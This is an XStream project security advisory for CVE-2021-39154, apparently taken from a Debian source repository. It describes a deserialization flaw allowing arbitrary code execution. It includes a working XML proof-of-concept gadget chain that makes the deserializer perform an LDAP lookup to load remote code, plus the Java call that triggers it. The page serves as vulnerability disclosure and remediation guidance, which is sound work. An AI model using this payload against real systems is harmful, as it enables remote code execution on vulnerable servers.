Codebase list libxstream-java / debian/1.4.18-2 xstream-distribution / src / content / CVE-2021-39154.html
debian/1.4.18-2

Tree @debian/1.4.18-2 (Download .tar.gz)

CVE-2021-39154.html @debian/1.4.18-2raw · history · blame

<html>
<!--
 Copyright (C) 2021 XStream committers.
 All rights reserved.
 
 The software in this package is published under the terms of the BSD
 style license a copy of which has been included with this distribution in
 the LICENSE.txt file.
 
 Created on 31. July 2021 by Joerg Schaible
 -->
  <head>
    <title>CVE-2021-39154</title>
  </head>
  <body>

    <h2 id="vulnerability">Vulnerability</h2>
    
    <p>CVE-2021-39154: XStream is vulnerable to an Arbitrary Code Execution attack.</p>
	
    <h2 id="affected_versions">Affected Versions</h2>
    
	<p>All versions until and including version 1.4.17 are affected, if using the version out of the box. No user is
	affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
	framework</a> with a whitelist limited to the minimal required types.</p>

    <h2 id="description">Description</h2>
    
    <p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.</p>

    <h2 id="reproduction">Steps to Reproduce</h2>

	<p>Create a simple TreeSet and use XStream to marshal it to XML.  Replace the XML with following snippet and
	unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;sorted-set&gt;
  &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
    &lt;type&gt;ysomap&lt;/type&gt;
    &lt;value class='javax.swing.MultiUIDefaults' serialization='custom'&gt;
      &lt;unserializable-parents/&gt;
      &lt;hashtable&gt;
        &lt;default&gt;
          &lt;loadFactor&gt;0.75&lt;/loadFactor&gt;
          &lt;threshold&gt;525&lt;/threshold&gt;
        &lt;/default&gt;
        &lt;int&gt;700&lt;/int&gt;
        &lt;int&gt;0&lt;/int&gt;
      &lt;/hashtable&gt;
      &lt;javax.swing.UIDefaults&gt;
        &lt;default&gt;
          &lt;defaultLocale&gt;zh_CN&lt;/defaultLocale&gt;
          &lt;resourceCache/&gt;
        &lt;/default&gt;
      &lt;/javax.swing.UIDefaults&gt;
      &lt;javax.swing.MultiUIDefaults&gt;
        &lt;default&gt;
          &lt;tables&gt;
            &lt;javax.swing.UIDefaults serialization='custom'&gt;
              &lt;unserializable-parents/&gt;
              &lt;hashtable&gt;
                &lt;default&gt;
                  &lt;loadFactor&gt;0.75&lt;/loadFactor&gt;
                  &lt;threshold&gt;525&lt;/threshold&gt;
                &lt;/default&gt;
                &lt;int&gt;700&lt;/int&gt;
                &lt;int&gt;1&lt;/int&gt;
                &lt;string&gt;ggg&lt;/string&gt;
                &lt;javax.swing.UIDefaults_-ProxyLazyValue&gt;
                  &lt;className&gt;javax.naming.InitialContext&lt;/className&gt;
                  &lt;methodName&gt;doLookup&lt;/methodName&gt;
                  &lt;args&gt;
                    &lt;arg&gt;ldap://localhost:1099/CallRemoteMethod&lt;/arg&gt;
                  &lt;/args&gt;
                &lt;/javax.swing.UIDefaults_-ProxyLazyValue&gt;
              &lt;/hashtable&gt;
              &lt;javax.swing.UIDefaults&gt;
                &lt;default&gt;
                  &lt;defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/&gt;
                  &lt;resourceCache/&gt;
                &lt;/default&gt;
              &lt;/javax.swing.UIDefaults&gt;
            &lt;/javax.swing.UIDefaults&gt;
          &lt;/tables&gt;
        &lt;/default&gt;
      &lt;/javax.swing.MultiUIDefaults&gt;
    &lt;/value&gt;
  &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
  &lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
    &lt;type&gt;ysomap&lt;/type&gt;
    &lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
      &lt;m__obj class='string'&gt;test&lt;/m__obj&gt;
    &lt;/value&gt;
  &lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
&lt;/sorted-set&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

    <p>Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled or when
    another element is added to the set.</p>

    <p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

    <h2 id="impact">Impact</h2>

	<p>The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by
	manipulating the processed input stream.</p>

    <h2 id="workarounds">Workarounds</h2>

    <p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

    <h2 id="credits">Credits</h2>
    
    <p>ka1n4t found and reported the issue to XStream and provided the required information to reproduce it.</p>
    
  	</body>
 </html>